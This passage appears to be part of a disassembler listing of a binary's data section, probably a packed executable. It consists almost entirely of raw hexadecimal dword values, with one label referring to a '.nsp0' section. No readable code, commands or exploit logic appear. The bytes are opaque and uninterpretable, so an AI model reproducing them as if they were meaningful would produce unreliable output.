3ABE5055h, 537C511Ah, 2C2BC3DDh dd 16DE57E4h, 0C3C8FD47h, 0FEDC6272h, 0A3146D6Fh, 0ECC42FF6h dd 77907EA0h, 50AA60B6h, 7E8DC6Eh, 4F859679h, 8DCC6A94h dd 0BF4BA1DEh, 56F046C5h, 0AEF7EB13h, 0CE85D02Ch, 9FB17DBh dd 0C8793B03h, 0D27E2238h, 1C71F8D0h, 31F5CBAAh, 3B862779h dd 8CEB017Fh, 0D430740Fh, 494CCA0Ch, 0FB7B4229h, 59AFCA5Eh dd 57E3C6B7h, 0BD26E660h, 0CE30F85Ah, 5816484Dh, 6A2DECD9h dd 7FAAB323h, 0A762BB1Dh, 48F2ABD7h, 0D4A2DC44h, 0E663515Ch dd 0EEFFC5CFh, 1DD6EB07h, 97695FFCh, 334B82CBh, 84B882E9h dd 0B927B817h, 0FC0A72DCh, 4A54E2BBh, 9443F6A3h, 0F2B07C3Eh dd 0B49A4A49h, 0B0F3CEE2h, 0DDA07A0Dh, 76E2DFDFh, 1538B35h dd 6D9F37DEh, 0C4EE5F2Ch, 0E5AC9B65h, 3950B47h, 56C178FCh dd 0E7630EEBh, 4CA3EC75h, 0A7C658B0h, 0A554AE07h, 46DA0EA6h dd 4217E669h, 5AAEC8D5h, 3934875Ah, 9A1AE54Ch, 6D8480Ah dd 769B88C5h, 0DEACE11Dh, 4E0DD0C0h, 2AE998E4h, 6D69B9AAh dd 2AE26AEBh, 0AB49B9DDh, 96AD990Ch, 125CCC09h, 26418329h dd 0DA2707h, 57DB1677h, 50AF71E4h, 0E27850B3h, 0BE481F3Bh dd 0AE870CB7h, 23C12E7h, 0AE08799Eh, 0EEBC796Ch, 54827D1Ch dd 40670028h, 0AE542BE5h, 0B90BE965h, 0C4015A5Bh, 6500BA4Eh dd 5AADA90Bh, 620C266Ch, 0C92E6835h, 0E3EBAC1Dh, 9A674B96h dd 200E729Bh, 3F106D00h, 0BCE4CEECh, 0AC3CD10Ah, 85E9C7B7h dd 7E2FF5A1h, 0B83B9F82h, 14F0EAFBh, 0C982B73Eh, 0CAB36409h dd 4752AB1Bh, 0A8E0724h, 0B056887Eh, 0F020C90Fh, 8C15A58Fh dd 0EED3BED4h, 453E13E8h, 0DCE9C87h, 6FC6D011h, 2EDF39DDh dd 121F6D29h, 0D80A64D6h, 0C733EAB7h, 66D409DBh, 0D9A3D821h dd 78BEDBFCh, 1BF1CC28h, 0B92E20F1h, 0BAED9ABAh, 2950E62Dh dd 7C7CDF2Fh, 5F48BC40h, 0EB7DAA8Ch, 0CAA66179h, 0F1DC829h dd 1A63D94Dh, 0E57AD165h, 0F609ABABh, 9B5FAE62h, 5E3104D4h dd 0BB05727Dh, 64BF1F0Bh, 9B69655Dh, 0F98EACD7h, 0F3CE399Eh dd 5CDC8D67h, 72A08BEh, 6EE5DE4Ah, 863685C0h, 0AADB433Bh dd 5F1CF125h, 20EC8F47h, 0A7CD825Dh, 620A5A51h, 0B4CA743Ch dd 0B6CC7D8Dh, 9A052F56h, 267186F8h, 0AF83780Bh, 3F40818Fh dd 0C2F14433h, 6139BEABh, 786C4C4Eh, 0EF80BD53h, 90F116A8h dd 0E5227451h, 1669C2E4h, 0E6853E37h, 0C595A6C5h, 0E3CA31BAh dd 9D86B97h, 2F10C71Eh, 16337B14h, 0F79386F8h, 0B7E29C4h dd 79E4F062h, 47A30D3Ah, 2608AFE6h, 177ED143h, 0C4A0F72Eh dd 5E417BB4h db 0FDh, 0CCh, 17h byte_524F4B db 7Eh ; DATA XREF: .nsp0:0042BB40o dd 83BEE8D9h, 0BA877D7Ah, 0FE938A36h, 440A5ADFh, 5FD1D2DAh dd 24D1682Dh, 0C93587F7h, 77852708h, 0B372AF2Fh, 0D1E1260h dd 0D194D938h, 70EB7A7Ah, 0F3C1D353h, 0F624A6BBh, 0AB48CBBDh dd 33ED8EE7h, 2E4797E9h, 0B20D2C42h, 3638A581h, 0E3D53DBFh dd 8E0811D3h, 8AF5D20Fh, 0AC97C6DBh, 0AAC80F5Bh, 0CB39CD0h dd 0B301198Ah, 0FAE81827h, 0F9CD47A8h, 0D01B8B36h, 843705C2h dd 771C26A7h, 0A894F4B6h, 0C97803CCh, 0CA01567Ah, 5D70EFADh dd 0AE8613C4h, 0EEC09ED5h, 0F81BB5BAh, 9F6856D4h, 6F4AFAE9h dd 11BFBC62h, 6EFB3736h, 2C67A72h, 6B0FDA4Ah, 548568B4h dd 0B9414446h, 699D1D34h, 3206A518h, 0A0DBFD89h, 3546C2E2h dd 26285728h, 324720F3h, 67D61BCBh, 9939EE86h, 39FC0C0Dh dd 0EB771D34h, 0E6A35176h, 1C4D951Dh, 0A06109CAh, 0AD4C2341h dd 992523DAh, 570F60E1h, 9DA8272Fh, 41BFC3B3h, 27637791h dd 6AFBC49Ah, 42F7282Eh, 15078DC1h, 0E6E2EFA1h, 7B41646Bh dd 367F8D09h, 0E266F8A3h, 6A0C232Ah, 83C361D2h, 7EC2A073h dd 4EBF3054h, 7371FF03h, 64FEC8FFh, 0BEC20Ch, 0B3BE0439h dd 99215309h, 0E914F49Dh, 19345E1Bh, 396C1224h, 59E831Ch dd 9B1BDBBAh, 0E2F1E886h, 0D72D7D53h, 0D92442A3h, 73B9D2Eh dd 0E7C8AF16h, 4B0F42F8h, 0F53CFE1Dh, 23C015BFh, 5BC8500Ch dd 28560735h, 33D31EA9h, 0A194EE90h, 3C814440h, 0B8F50486h dd 0B3FFEB6Bh, 0A23B1CBAh, 3F5F968h, 72BF95F0h, 2BDFFD07h dd 11484158h, 0DD807D95h, 881AA93Dh, 79F228F9h, 8FBC2468h dd 250F36CAh, 47F8DEF5h, 9117B0Eh, 0E3D9DAC2h, 5D666293h dd 0B886532Ch, 68FA96B9h, 4C9E597Dh, 0C898F7B3h, 457F3FC9h dd 5F8E0D57h, 956702CBh, 3C95C1B6h, 8D4EE736h, 9A345C4Eh dd 0CECA4E43h, 144DA02Eh, 429200C0h, 1D0958F6h, 0D390B7C6h dd 95D475DEh, 42601789h, 0A25B7511h, 9F48489Bh, 698D0F7h dd 0C04729D9h, 2838EFC2h, 0FF7857FCh, 7C806E74h, 0E5A557F9h dd 94CDAAFCh, 69971350h, 687BBF7Dh, 0FC9F6F29h, 4421833Fh dd 58214A3Eh, 751C27C4h, 44F2F671h, 6FA4E182h, 0D67A2618h dd 547A2BC8h, 50EC007h, 0F5F7069Dh, 578A7AEh, 37695590h dd 0EB7C5ECCh, 0EAE9F7E4h, 2C5E3ADDh, 1CD28B22h, 208E3E84h dd 970150FEh, 9233EFE5h, 685B5104h, 4B380D14h, 3606D21Eh dd 0F8AE08D6h, 0DB98AB3h, 33B813E0h, 0CD46A64Fh, 167237BBh dd 8E6E7F5Dh, 7DE84EE0h, 48C693A5h, 0BFA882F3h, 1A3512AAh dd 96C1DE1Ch, 0F10C34FAh, 0D5D73AC2h, 0A6CD67C7h, 0B2DCB691h dd 0D6D0C1D7h, 0C44FF0Eh, 6F63D0A9h, 0A241AAA1h, 0B44D7F40h dd 0C32CD1EAh, 0E4F8FC5Ch, 0CB599E5Dh, 43F56A12h, 192E670Fh dd 606D64E0h, 919A3064h, 1D0C845Fh, 0A6BEFFA5h, 1F7AEE67h dd 3FC568E6h, 6120AE18h, 0ADB1F9AEh, 0D160D620h, 63D8094Ch dd 0C56AFBC5h, 0CD02E1EBh, 69351677h, 0E6CE20A0h, 1DBA6D37h dd 0FBC616F6h, 252AFDA2h, 0EB160FF2h, 8DE3C4Dh, 0AFA71FEEh dd 0DBF08B3Ch, 0D183DD64h, 0B06F6CBEh, 0CF4B78ECh, 2F8724C8h dd 2953888h, 0DA142EE9h, 6CCC1EF1h, 5693FB87h, 3A242E55h dd 501A06DDh, 0FC6A5A13h, 0A7DBE250h, 0B008B10Fh, 0B4976294h dd 12203AB1h, 0E4DA5ED0h, 0DE14DDD9h, 8DC14B5Ah, 5594E997h dd 73CDDFBh, 60A6CF77h, 0DCEF270Dh, 3C5788C4h, 0F5C0B8D6h dd 0C3F22CF4h, 59D5719Bh, 0BF757C62h, 1864DF88h, 0B9D46DEAh dd 46CBF131h, 5246212Ah, 43ADDE08h, 518919D8h, 0C52954D9h dd 3BAA6931h, 0E56998EDh, 7C337C3Bh, 30AD6118h, 115A1D49h dd 0C744C92Ah, 0CAD57D5Ah, 0ABDB699Bh, 0A6E9B1F7h, 33F7295h dd 390A7FE6h, 577B17ACh, 0ED6F1DD2h, 0BDA47010h, 2FD028F3h dd 0B88C8F49h, 9A62F8B5h, 0B851C78h, 0A5ABC632h, 0E6ED0D9Fh dd 5BAAE6D8h, 67A2AF42h, 4C444CA1h, 0E806EA20h, 704498AFh dd 0A7CECB37h, 64208F21h, 46F67A4Ch, 0AC1CD57Bh, 67C6206Dh dd 824B4D4Bh, 0B395D2F5h, 0B861047Ch, 834F3417h, 93F64293h dd 96FE65B6h, 0B76FCDC2h, 0D3914A29h, 4E9F9028h, 0D3D403C3h dd 9133D227h, 0BFED2649h, 7B6E044Fh, 7A081F81h, 360D5839h dd 277642E7h, 2A9D5A5h, 0F515C940h, 0FECD2D7Fh, 0DD4839A7h dd 59514110h, 7CCEBEDBh, 0F3EA18F4h, 0B621FFC6h, 301351F1h dd 77030FE6h, 2CC064E3h, 44C1636Ch, 0B582FB72h, 9F757E6Fh dd 0E72256D3h, 8635FCE2h, 0BD707C64h, 0A5200379h, 5E454A6Ah dd 69E7EB3Ch, 0BBCDE732h, 1CC569DBh, 0ABA70F1h, 37DC8867h dd 8D88F2CAh, 0FB606AEDh, 0AFC789A6h, 0DAEE7278h, 760E6A7Fh dd 0F1D38A5Ah, 281703E4h, 9A849314h, 193FBB7Ah, 6687A6D3h dd 489DE6Dh, 0D8D2C5DBh, 281C3CDAh, 0B0D0230Fh, 0F5DB225Ah dd 0C7AC4ACCh, 23172F4Bh, 21BCADBCh, 0DD85B9C7h, 88865B59h dd 385BDEDAh, 11C9070Fh, 0DCE2EF90h, 2649F9C5h, 881031A9h dd 9285FFBh, 1BF92209h, 0DCC449C1h, 0F4961057h, 1D44A77Ch dd 14AAA080h, 174F9FECh, 7AF5A5F8h, 9356A526h, 36095158h dd 4BDF921Bh, 0F2BC5736h, 0CF50AE8Dh, 95DAF956h, 576FBB21h dd 0A991C7B3h, 7BA0949Fh, 72B45B55h, 0F2CCD41Ch, 7930BA66h dd 98158E6Dh, 5DB67F6Dh, 0EBFE9BA4h, 0DF2E0CD9h, 0C8C0EC59h dd 40AAAC04h, 87F48493h, 0A6CF6460h, 0EA773626h, 70024F2Ch dd 2CDE8488h, 7FF7E30Ah, 70E1D4BDh, 1914873Ch, 0B114ED43h dd 4B886BA0h, 56B1F4B8h, 1A8B80FCh, 0F3ECF43Ch, 0E975068Dh dd 5C4C711Ch, 0A33115B0h, 9281DE38h, 6E223C26h, 9CA8A1E7h dd 3D033F54h, 0E56DE429h, 7115C135h, 6B554D6Dh, 0D62A586Ah dd 0DDC723C5h, 2292AB1Ah, 5B0C5B9Fh, 0F3736A8Fh, 21E82914h dd 0D62315B5h, 8AD804AFh, 5BB1A749h, 5D9E3734h, 94F2E9FBh dd 0FD3921CDh, 0BA3724D0h, 7B6953A9h, 34F7D19Fh, 0D91AD43Dh dd 8BB877FFh, 3687C88Dh, 0D26338h, 60C1F787h, 2DAC9668h dd 0F51EFDD0h, 0CBE764A4h, 206F24CEh, 0DD329A60h, 6560F7DCh dd 0D1FA8D4h, 9477E773h, 0B0927465h, 0D478AD12h, 0E2D4BD40h dd 7ED0992Dh, 2FDC373Bh, 9B417C66h, 651AD207h, 2E4B0DDBh dd 5BBFB752h, 0DB42B090h, 6BC754B5h, 0CBDE2CE0h, 0D8410BB3h dd 0EC9D4324h, 6068FD0h, 0BC0A9567h, 0A4A74A19h, 0C1E3CDFFh dd 0B98FDD12h, 31C5FF38h, 213A760h, 0AA48A92h, 48AAA00Fh dd 65127D51h, 0C1852393h, 900C767Ah, 4DAC091Dh, 0A2CCE00Ch dd 0EFEF58D4h, 0AA1A8356h, 1BC24FDCh, 0D6E6F71h, 0C66A3795h dd 0E1A01561h, 52FB104Ch, 0E0A07AE2h, 9C2DF79Ch, 0A684B758h dd 686D775Fh, 0E05600D5h, 65746852h, 0AB27229Fh, 4D07E650h dd 5968CA3Ah, 256C67Dh, 4DDCE7C9h, 26251C15h, 0E6D79185h dd 0AA391488h, 0FBA01700h, 59FB92B1h, 1A23BB34h, 0E26B8B4Bh dd 89F9EAC8h, 182FDAADh, 0A72F0341h, 86F502DAh, 11699492h dd 5DFF4EF6h, 0E2071B74h, 8D62CE07h, 28387459h, 0FAF5835Fh dd 0AC148866h, 889D40ADh, 6241E065h, 0DAA4614Eh, 2C30E1C7h dd 9C05930Bh, 5BA497F5h, 0EC80CE17h, 677987E2h, 67E60186h dd 0DCB3012h, 0A0583FDh, 0E502AD59h, 7B8E8F1Dh, 86E0154Ah dd 357AA4ACh, 0D0A27268h, 0B5DA6BF2h, 55B67021h, 0AD3372EEh dd 2DB42210h, 24D1C708h, 0B4EDB28Dh, 0D6997E7Ah, 25F76E6Fh dd 98E6DF9Fh, 68C38086h, 0DFF35BCh, 0E4D0FE32h, 269E4C25h dd 0DE085930h, 4AD06D0Ah dd 0FEEA203Eh, 0AD160E09h, 2D2E420Ah, 0D5A41632h, 4D35DBA5h dd 803E6A5Dh, 0C1521FBDh, 742B88A1h, 86B8F425h, 5A14FF99h dd 0ABB85498h, 0C9085CCBh, 18CB3501h, 0EFEA34D8h, 1B3ABDB0h dd 17FDDC1h, 9A4A8FCDh, 9950ECB2h, 68C62A20h, 96D1CE7Bh dd 0BA4CB7A6h, 681AA6h, 0F17680E5h, 0A61DE465h, 0E9B0DEE4h dd 1C052193h, 50AC6F5Ch, 0ADC73FAEh, 0F32391ADh, 8EF56E22h dd 99DBD6Fh, 182BD721h, 197F8492h, 0AAE2C96Ch, 4D91F755h dd 533DE928h, 26D8C496h, 3CF28DF8h, 6178DB13h, 5D3A8213h dd 0EB7A2158h, 0A8BCA4FAh, 8D5982C3h, 50A6D4Eh, 42C5C7C0h dd 0C34627C4h, 36C74653h, 0A9E82295h, 266A2A2h, 3B65290Ch dd 3B9EC254h, 0C2D50F36h, 0E3305BFDh, 0A8A8B328h, 0C6009FDAh dd 2F68829Fh, 894C6D61h, 0B7099FE0h, 0B0B05F34h, 57D44231h dd 36C10099h, 0DC8A7A3Bh, 8ED74E10h, 75CD3CE6h, 9912E285h dd 0F17EA41Ch, 7936407h, 4CD370C9h, 6C5F5761h, 0CE43A35h dd 0E0FEF9C7h, 0E19B4C89h, 900A9A65h, 0F9C08924h, 0A6710058h dd 0E9451291h, 98BC7373h, 0FE5B6546h, 0D8846984h, 344B892Dh dd 176E2904h, 0BE973D0Fh, 0A9A31985h, 70EA73B3h, 270AB622h dd 0C11954ACh, 432F705h, 0C06D170Bh, 7120E782h, 0FBF3AEC3h dd 549C4FA8h, 7E38A0CFh, 672C1754h, 0A3F67D85h, 5FCA1CDh dd 0B7D34CA6h, 49A90B16h, 10756A36h, 0F146BA1Ah, 0CD438921h dd 0BBDDF98Eh, 946B747Eh, 0C3B89820h, 0B775A38Bh, 54C99AEFh dd 0E03E1252h, 0BE286AEFh, 33DFE9Bh, 523C7B02h, 9D487ED3h dd 4723A83Ah, 792BA619h, 8C945DB4h, 0E07C0BFEh, 0C5B44D4Ch dd 59578E40h, 0B25BBADBh, 601F38FFh, 0C34AA0B5h, 6DD1C67Eh dd 812BBC1Ah, 72DA0D1Fh, 0F582A3A0h, 323811CBh, 129A3FC0h dd 94787513h, 24478DF0h, 0CDEB2611h, 81B96C84h, 28564276h dd 65C38A4Ch, 4DF7DB00h, 585E8304h, 688421ABh, 31B047Fh dd 0A1C119A6h, 0C6F41BEEh, 0A6A9BFBCh, 0A1C41952h, 60A7080Bh dd 0D545A27Ah, 6194B109h, 1CE4B7F8h, 5050097Bh, 0E5061DD2h dd 0B23ED4C5h, 0D568AC27h, 5FBB4EB6h, 0DFA4C1FDh, 1CAD7407h dd 0BE39484Bh, 81EAA16Bh, 0F66F5C64h, 0BBCFBA61h, 9005556Dh dd 0A9AAF6B7h, 0CA616A6Fh, 0DC3B5E1Ch, 69032C48h, 0F30D0176h dd 0D537F856h, 93459E4Ch, 99A5C5A3h, 0D0C7AE12h, 0ED361ECAh dd 0F86B7E1Ah, 0B257B05Fh, 0E32B715Ch, 0D32001B0h, 476AEEEDh dd 75D7B835h, 0D877BCF6h, 0F15046D8h, 9FF00E29h, 0A6BF00F4h dd 0FEB19AB2h, 0B15E29C7h, 26B891D6h, 0EE1A6C62h, 0FCCC15BDh dd 0EA678415h, 926DED45h, 450E7948h, 0B000D0Bh, 89851D31h dd 4CC0F151h, 0E8885C97h, 0FD5204B6h, 37192EAh, 6F3F5B51h dd 0D224D194h, 0C5D31CEBh, 0F5B9BDA9h, 7C2284AEh, 53AF7A07h dd 0AAE8584Fh, 0DE672955h, 25814457h, 0FBA81331h, 1C26733Bh dd 9FDDFD85h, 0B4A3A86Dh, 0D661FCE8h, 20B031EDh, 0A14246E3h dd 4B9CF4Bh, 0D1DBC0C8h, 1B504D0h, 0E4E9AC6Bh, 813C468Fh dd 3E574F07h, 0CB1B3B44h, 5FD4DFEEh, 0D1E8B893h, 0FC400427h dd 39A161F4h, 5731BFFh, 2DC4948Ch, 0CED821CAh, 101F9C49h dd 2CD43A0Ah, 97237C56h, 0E164A1B3h, 40AE5A06h, 0F22C832Bh dd 2524EB05h, 5894D214h, 0B68A3852h, 3EDE5BD3h, 0A1F5EE2Ah dd 0F936208Dh, 15932784h, 60C70810h, 215F852Dh, 12BD715Ch dd 0CE7E0A81h, 43F9B5EAh, 5A65AD9h, 0C1EF3DDFh, 0F63F2540h dd 0A9A55B71h, 572F8E25h, 0D6FBC974h, 0A37C3B5Ah, 0AAFC6A2Dh dd 250CFE9Ch, 0D5AC1CEFh, 0A99B8C6Ah, 0E63994ECh, 5BD98DB3h dd 0CDA79E4Bh, 0BC5CA30Dh, 7F2EF143h, 0F3B142BEh, 1B4D563h dd 0E9F91C8Fh, 4F9AC6DDh, 91D8F4Dh, 0F6968449h, 0C4780E3Ch dd 0A65497FCh, 0EF8CD0CFh, 5BDEB227h, 8B24E462h, 0FD062448h dd 1FA7A343h, 0CE83FA98h, 277003F3h, 61DB59BEh, 0A56DC752h dd 418CF73Dh, 771B7141h, 45717C3Bh, 0C60FAA96h, 0CB305BBAh dd 3C0BED42h, 0BC043D3Eh, 4159254Bh, 2D4944EFh, 1B7EED78h dd 6DC26870h, 0B8F13C73h, 2BD36130h, 1EC7A211h, 4EBF293Ah dd 568A13A3h, 93003DD8h, 786BCDA2h, 138E3D1Bh, 6E44FEBBh dd 51231362h, 8D9A13F8h, 1D5B0BD9h, 0C4C8581Bh, 0F0A32C1Eh dd 0BDE574A9h, 9E02E1EDh, 0F85605EFh, 378B805Ah, 6F124A65h dd 6450C2A2h, 26F0542Bh, 0B97CA602h, 0B8D37557h, 131E97A6h dd 665C08CEh, 43373489h, 0BEB7EC7Ch, 3E94D7EAh, 7A7F9982h dd 211AEDA3h, 0FEE3FCCDh, 0D5E32A52h, 93991CE3h, 0D28D3633h dd 98F01FFFh, 57FE0F0Dh, 0EE70C8EEh, 0FC14AE75h, 9A31604Ch dd 0D05DB397h, 7E76F33Fh, 5C6C8817h, 9E480E61h, 38639B4Ah dd 4123F924h, 63B3E98h, 9884DDFAh, 2DBF2Fh, 0B44CB838h dd 0BDF2E843h, 731B47FCh, 0EF9E22EBh, 0E4CF721Bh, 0D25D279h dd 85B29879h, 57838BF1h, 0C9B8F069h, 0FF716FA9h, 2EEC5CD1h dd 4A096DB7h, 0E3AEDC22h, 8073F6E2h, 60D0A929h, 0AA902FE9h dd 63CEAD1Bh, 7EA4DD3h, 1FA6BDCDh, 98130780h, 1929916h dd 4B0B70BBh, 9E918AD8h, 529850ACh, 0C78109FDh, 83727256h dd 612A4DFCh, 0A1DC04DEh, 72C324F6h, 0C43A25A6h, 3447203Ah dd 9D164866h, 2BC73224h, 0D0C6BD5Fh, 0E4909C38h, 8E11CF6Eh dd 0D78CA0DEh, 67A76058h, 87546571h, 7DB988DFh, 3E99E1B9h dd 0F514DF9Bh, 426B5932h, 0A6EA8F53h, 0D178BBE2h, 80F07775h dd 1E691C0Ah, 32AEAB3Bh, 6894D3A7h, 5123A84Fh, 7A3EC93Ch dd 6290E7DDh, 0A693EFBBh, 0DD94C73Ch, 8401527h, 0EB9AE2D6h dd 0A5B93279h, 0AD45684Fh, 0CD14FC74h, 2189AEDAh, 3A9B250Fh dd 7477F81Ch, 83A9B6F5h, 0F75B948h, 70AC3904h, 2EF723D7h dd 0BDCFCE69h, 90D43683h, 57EAF60Ah, 7309D33Dh, 3AE01C4Fh dd 0B3725CD0h, 111ECE20h, 3EB5AF4Ch, 90B78457h, 0E9285D6Dh dd 0CE1E0655h, 426F3252h, 7476C1B7h, 4E572108h, 0EE08090Bh dd 1B37DA75h, 482A9BA1h, 946EEDADh, 95A14387h, 0D3E2C3A9h dd 0A6DDAF78h, 0F9AC8148h, 0C572E2D6h, 0F5554639h, 0D996361Dh dd 0AC963F50h, 20E71EE6h, 3D21A694h, 0AB24227Bh, 0F71CEAF3h dd 0A2A66AACh, 6F524849h, 0C570636Eh, 8C56C164h, 297F52C2h dd 0B1072915h, 7B7B295Ch, 79E2B10Eh, 0A7634EAEh, 9E187A91h dd 31270C85h, 0ED0E3B6Ah, 7197D7C0h, 0B689EBFBh, 77ECE153h dd 71A84FBCh, 2638DBDDh, 0B6DB6283h, 0D2C972CEh, 0B7B56722h dd 3D677B50h, 0C3A55CA3h, 0F33428A4h, 0A6C9C471h, 0EB6F575Ah dd 0B7ACD099h, 0FDB2D7C7h, 317BEBC9h, 7B023B0Ah, 2ECB94E5h dd 0F2CEC1FEh, 0C1D272C4h, 0B3AA2983h, 5337D317h, 50C16085h dd 8772AEADh, 19EE3CBh, 0A65D084Bh, 0A9E2A24Bh, 9C77EA93h dd 83F7F682h, 5EC8C09Dh, 0A6307318h, 0DBC26571h, 59943A9Bh dd 1E8473FFh, 5D9ADD35h, 7DEA3A23h, 54AFCF18h, 3E9E6541h dd 3E2EBF04h, 0ED2C9C01h, 0E41A626Fh, 0B0CA520h, 54339E10h dd 4BB12259h, 7D4C4702h, 595EF298h, 643DDD10h, 8D46A542h dd 49FBC5C1h, 9414FE2Ch, 7BF3FC7h, 901F3907h, 75D7A4C8h dd 0F7EE028Ch, 0E001C288h, 0B6DE5EE3h, 399C5F74h, 0DD805B14h dd 0D2DDCB82h, 0BEF525BDh, 57CC1B55h, 0DA180C95h, 0AFC77575h dd 40F2C9BEh, 0DA98ACB6h, 256E3188h, 0B6A708A5h, 815850h dd 1FE31CD8h, 0ECA9F60Eh, 3B6650E8h, 791455F3h, 9645B556h dd 46788F50h, 5DF77EF5h dd 0B0BB11E6h, 22AE5490h, 1238DDC4h, 9F057D11h, 0BBA47EC2h dd 0C2A79995h, 96C1387Bh, 1ACE975Fh, 0F6B2CF39h, 6209AF30h dd 92FB87BCh, 0B37D34Ah, 0BBDCCD89h, 75CC8636h, 0B254A855h dd 9BC0E0F2h, 6205CA2Ah, 304DF509h, 0B98E9E7Ch, 0AAC0709Eh dd 6BD63CDAh, 0D8600E3Bh, 24756277h, 6C374518h, 0A7E73821h dd 2C0DA9h, 692369D2h, 0C83505E4h, 0BB883644h, 7823E8A9h dd 91423B20h, 0DA84A43Eh, 0D703605h, 0C0755AF2h, 3111E7C1h dd 0AB14CD40h, 0B97CD59Bh, 52FEE0F4h, 1F802EFBh, 4D78555Ch dd 0EE45433Eh, 109C0008h, 0C7315D65h, 0DFE0AB4Fh, 0F4D2AD91h dd 3C42EBFAh, 624CD5ECh, 0F759ABC2h, 791B089h, 1132C5CEh dd 0F1BC7E5Dh, 7A435227h, 99D1B542h, 2D44AE67h, 0B9EDB096h dd 93EAEEB6h, 0A0697D22h, 0C53603E2h, 0F819F10Ah, 2644B215h dd 783334BAh, 2FB77CE1h, 0C26D35D3h, 0D84C03B8h, 0BB56A154h dd 0B75E8F5Ch, 0F663B849h, 5B7195B1h, 8816997Fh, 514F4ACAh dd 0FE232659h, 0B80C2DC4h, 75BBF572h, 48B17294h, 949BC699h dd 2371E8DEh, 2E2E01E9h, 53FDF3F9h, 29C6E842h, 0F6F4DED1h dd 0FDB02404h, 859E703Ah, 87186843h, 0BB7027CEh, 844AD5A7h dd 0C4D4FFFh, 8EBC94B5h, 27805B02h, 0D9E8A93h, 46B3C63h dd 59DC7BA8h, 6FA48FA2h, 3C0232CFh, 633FDAB7h, 0DB038F0Fh dd 0EB8EBB0Fh, 89A46668h, 0EC11C844h, 61D484B7h, 0CF00B115h dd 2D41B33Eh, 0B8F14441h, 20289206h, 4B62EDB0h, 0B5224097h dd 7236B172h, 5E9AC592h, 1F74AF79h, 0EDFF4330h, 18AD3634h dd 90DA72B1h, 8BE57CDh, 5E547E44h, 97537A03h, 1587235Dh dd 2E38E121h, 56ED58DFh, 0FF26FC70h, 0C76DA5A3h, 0A024D5FAh dd 0C05A3D6Dh, 5DC3747h, 4415BCF9h, 6696A148h, 6D60FD16h dd 73489A91h, 1E2B80A6h, 0DD1CA8F3h, 8FA13AAAh, 8A74AF03h dd 0F17EAF43h, 1EF995DAh, 6B7CD3FDh, 0BA093E8h, 0D16120F8h dd 0EFD97830h, 4ABC1F75h, 141031F3h, 0A2BDEE7Bh, 98A09ACDh dd 0F63B732Ch, 82B2D109h, 0F4F77655h, 0D60A98F2h, 965848C4h dd 4EFC4441h, 51F33813h, 29906A62h, 95516761h, 20928114h dd 0AE2E60Bh, 632F764Dh, 590E45AAh, 0C1C3D92Eh, 3C3E84F3h dd 8DCB9985h, 0C4C26E28h, 0B9E8D19Eh, 872573BAh, 72020E0Dh dd 7124C70Eh, 4E2DEDDAh, 433EC6C9h, 2FF00AA8h, 0CCCD2788h dd 81A692D3h, 0F047FDAAh, 222AFCFh, 2539DA22h, 0F334987Bh dd 0FC9DA426h, 0D935B5E8h, 57FFFA2h, 0CED0CE83h, 0F5096801h dd 8414BE20h, 0AF169C63h, 1D88B78h, 8EC0BA32h, 56B3B6F5h dd 894BAFB4h, 4A11E1Ch, 9D76B2E3h, 0E06DBB4Fh, 0EF662C1Dh dd 0FC5B6E0Fh, 4848D856h, 7D10FA79h, 0C12A7CCEh, 0E84C5D46h dd 0DCAC5D0Dh, 0C9C2D047h, 5BFFBAD8h, 0A5844E86h, 35A8B473h dd 36C84AC6h, 89DF08ECh, 3AB0885h, 0C1AF549Eh, 0FE11C6FEh dd 0F20E0B4Ah, 0A37CE87Ah, 50BA3115h, 8F247943h, 1CAA7284h dd 3C07CEFAh, 5F27A401h, 99C59825h, 109DE713h, 3056D832h dd 0A44F7DFDh, 0D285052Ch, 0DE13E451h, 67A518B5h, 4E5557C4h dd 65298C9Eh, 87A58E3Eh, 129D298Dh, 43FCC84Ch, 0F6CA2CA3h dd 2794BCE8h, 8EE92F4Bh, 0C09D5DA9h, 3BC89566h, 14824432h dd 0C68C0896h, 0DC205714h, 0C5D6F0E4h, 0BB6B9141h, 672413C6h dd 0FA653D77h, 0FCC0263Bh, 408D7929h, 881C9750h, 2B18D7Ah dd 0BA5133BFh, 0E3F39F64h, 3ED96379h, 0C1691698h, 34D12942h dd 84EABE88h, 55400F03h, 0B7CA0830h, 0C754BA15h, 7BDDCC96h dd 7666AA43h, 34DF48C7h, 0ABF9DADBh, 0D02B8051h, 8DC3C835h dd 14484875h, 59DD016Eh, 448B442Ch, 2D838253h, 7EE0F3E1h dd 44239FBh, 2FB24AFCh, 0E84A5AFAh, 0DE14E212h, 886A65A4h dd 841C6A57h, 734C8499h, 99BC4BCEh, 83A09F25h, 0AC0FEC4Ch dd 59A2AC81h, 0C5FA2D7Dh, 0C31612CBh, 2EA7BF97h, 60E72A03h dd 0B0AC1D85h, 49E99F54h, 3E5DD668h, 21F4FFE4h, 2809F271h dd 0B4D6DFBEh, 58AF98Fh, 0ADFAC907h, 4AB1AB3Fh, 38EE586h dd 0CDCF566Dh, 68086907h, 7621DD55h, 0B2F4EEA2h, 0D02F6545h dd 0C9E53009h, 34CA6BBEh, 94AFABB0h, 0B7271078h, 52F2D42Dh dd 0AC9D89EBh, 1C0102D8h, 74565097h, 33816139h, 0FF145EDAh dd 840B6177h, 0EB34F3F0h, 0EC5C022Ah, 60742F14h, 1EEAFECDh dd 0D2CD38FDh, 1E2B90F2h, 0CAA26228h, 33D0797Fh, 0B84E438Fh dd 0A621BED9h, 0F7CF45F6h, 0CDD3C023h, 414F8F0Fh, 0E067249Ch dd 547C6643h, 0E11EC1DFh, 0D374B5EEh, 0E2DF8C23h, 0AB85C9E2h dd 0CD4B11C0h, 1AEAD809h, 22EF952Ah, 0B6EE54AFh, 366F0434h dd 0B83DC821h, 1CB73199h, 3D746212h, 7242046Dh, 27C2DF1Eh dd 0BF8EB8F1h, 0EFD44FC1h, 3A41EBA1h, 0F3BE57F7h, 0C9734D1Ah dd 68BA4FA6h, 0C28D07B6h, 53B356B4h, 0B97D18F2h, 3E11FBC9h dd 1DDE124Ch, 0BFCA73A9h, 0C36CCA54h, 0A9AFFEA6h, 7BA8065Fh dd 15321A25h, 8A877AB7h, 95F9BC29h, 25FDB376h, 1C6362EEh dd 8B5BAC78h, 0DC6AE75Eh, 0C7F37FAEh, 800FD697h, 25CB3E0Ah dd 0DC7225Bh, 38C53F40h, 39EEB077h, 0F43EAC7Ah, 34039852h dd 9BA939D8h, 565E9CFEh, 0A7C42B85h, 0BD258A74h, 884BFE61h dd 3DA5C174h, 9A6B4C6Ah, 496D1BB2h, 0B0DA7913h, 9427DB70h dd 4A857270h, 